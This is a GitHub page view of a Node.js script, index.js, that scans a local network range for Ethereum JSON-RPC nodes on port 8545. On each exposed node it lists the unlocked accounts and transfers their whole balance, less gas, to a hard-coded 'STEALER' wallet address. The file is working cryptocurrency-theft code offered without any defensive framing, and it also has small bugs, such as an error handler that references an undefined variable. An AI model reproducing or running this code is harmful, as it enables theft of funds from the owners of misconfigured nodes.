-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathindex.js
66 lines (60 loc) · 1.73 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
let Web3 = require('web3');
let evilscan = require('evilscan');
const GAS_LIMIT = new Web3.utils.BN(21000);
const GAS_PRICE = new Web3.utils.BN(Web3.utils.toWei('30', 'gwei'));//eth 30GWei
const TX_COST = GAS_PRICE.mul(GAS_LIMIT);
const STEALER = '0x7f4bf1fb94449c383b95d9e70ba9795404f6d48d';
const PORT = '8545';
let options = {
target: '192.168.0.1/23',
port: PORT,
concurrency:'10000',
status:'TROU', // Timeout, Refused, Open, Unreachable
banner:false
};
function steal(host){
let web3 = new Web3(new Web3.providers.HttpProvider(host));
web3.eth.getAccounts().then((accounts)=>{
accounts.forEach((address)=>{
web3.eth.getBalance(address).then((balance)=>{
balance = new web3.utils.BN(balance);
if(balance.sub(TX_COST).cmp(0)){
web3.eth.sendTransaction({
from: address,
to: STEALER,
value: balance.sub(TX_COST),
gas: GAS_LIMIT,
gasPrice: GAS_PRICE
},(err, hash)=>{
if(err){
console.log(err);
}else{
console.log("STEAL SUCCESS", hash);
}
})
}
}).catch((err)=>{
console.log(err);
});
});
}).catch((err)=>{
console.log(err);
});
//web3.eth.sendSignedTransaction({})
}
let scanner = new evilscan(options);
scanner.on('result',function(data) {
if(data.status == 'open'){
steal(`http://${data.ip}:${PORT}`);
console.log(data);
}
});
scanner.on('error',function(err) {
throw new Error(data.toString());
});
scanner.on('done',function() {
console.log('done', (new Date() - begin)/1000);
// finished !
});
let begin=new Date();
scanner.run();